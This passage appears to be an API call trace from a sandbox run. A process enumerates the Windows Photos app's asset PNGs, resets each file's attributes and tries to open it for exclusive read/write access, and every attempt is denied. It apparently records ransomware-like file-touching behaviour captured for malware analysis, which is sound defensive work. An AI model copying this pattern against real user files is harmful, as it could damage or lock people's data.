	[0091.052] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoslargetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.052] GetLastError () returned 0x5
	[0091.052] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.052] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.052] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc02c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86dc02c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86dc02c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosMedTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0091.053] wcscmp (_String1="PhotosMedTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0091.053] wcscmp (_String1="PhotosMedTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0091.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481ebb8
	[0091.053] wcscpy (in: _Dest=0x481ebb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.053] wcscat (in: _Dest=0x481ebb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.053] wcscat (in: _Dest=0x481ebb8, _Source="PhotosMedTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-100.png"
	[0091.053] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-black_scale-100.png")) returned 0x20
	[0091.053] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.053] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.053] GetLastError () returned 0x5
	[0091.053] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.053] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ebb8) returned 1
	[0091.053] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc02c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86dc02c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86dc02c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosMedTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0091.053] wcscmp (_String1="PhotosMedTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0091.053] wcscmp (_String1="PhotosMedTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0091.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481ea70
	[0091.053] wcscpy (in: _Dest=0x481ea70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.053] wcscat (in: _Dest=0x481ea70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.053] wcscat (in: _Dest=0x481ea70, _Source="PhotosMedTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-100.png"
	[0091.054] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-white_scale-100.png")) returned 0x20
	[0091.054] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.054] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.054] GetLastError () returned 0x5
	[0091.054] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.054] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ea70) returned 1
	[0091.054] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc02c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86dc02c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86dc02c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosMedTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.054] wcscmp (_String1="PhotosMedTile.scale-100.png", _String2=".") returned 1
	[0091.054] wcscmp (_String1="PhotosMedTile.scale-100.png", _String2="..") returned 1
	[0091.054] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x4782d68
	[0091.054] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.054] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.054] wcscat (in: _Dest=0x4782d68, _Source="PhotosMedTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-100.png"
	[0091.054] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosmedtile.scale-100.png")) returned 0x20
	[0091.054] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.054] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosmedtile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.054] GetLastError () returned 0x5
	[0091.054] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.055] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.055] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc02c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86dc02c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86dc02c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosSmallTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0091.055] wcscmp (_String1="PhotosSmallTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0091.055] wcscmp (_String1="PhotosSmallTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0091.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2e02220
	[0091.055] wcscpy (in: _Dest=0x2e02220, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.055] wcscat (in: _Dest=0x2e02220, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.055] wcscat (in: _Dest=0x2e02220, _Source="PhotosSmallTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-100.png"
	[0091.055] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-black_scale-100.png")) returned 0x20
	[0091.055] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.055] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.055] GetLastError () returned 0x5
	[0091.055] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.055] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02220) returned 1
	[0091.055] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc02c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86dc02c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86dc02c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosSmallTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0091.055] wcscmp (_String1="PhotosSmallTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0091.055] wcscmp (_String1="PhotosSmallTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0091.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2e02220
	[0091.055] wcscpy (in: _Dest=0x2e02220, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.056] wcscat (in: _Dest=0x2e02220, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.056] wcscat (in: _Dest=0x2e02220, _Source="PhotosSmallTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-100.png"
	[0091.056] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-white_scale-100.png")) returned 0x20
	[0091.056] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.056] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.056] GetLastError () returned 0x5
	[0091.056] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.056] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02220) returned 1
	[0091.056] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc02c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86dc02c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86dc02c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosSmallTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.056] wcscmp (_String1="PhotosSmallTile.scale-100.png", _String2=".") returned 1
	[0091.056] wcscmp (_String1="PhotosSmallTile.scale-100.png", _String2="..") returned 1
	[0091.056] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x4782d68
	[0091.056] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.056] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.056] wcscat (in: _Dest=0x4782d68, _Source="PhotosSmallTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-100.png"
	[0091.056] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photossmalltile.scale-100.png")) returned 0x20
	[0091.056] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.057] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photossmalltile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.057] GetLastError () returned 0x5
	[0091.057] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.057] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86deb80b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86deb80b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86deb80b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x21d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0091.057] wcscmp (_String1="PhotosWideTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0091.057] wcscmp (_String1="PhotosWideTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0091.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2e02220
	[0091.057] wcscpy (in: _Dest=0x2e02220, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.057] wcscat (in: _Dest=0x2e02220, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.057] wcscat (in: _Dest=0x2e02220, _Source="PhotosWideTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-100.png"
	[0091.057] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-black_scale-100.png")) returned 0x20
	[0091.057] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.057] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.057] GetLastError () returned 0x5
	[0091.057] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02220) returned 1
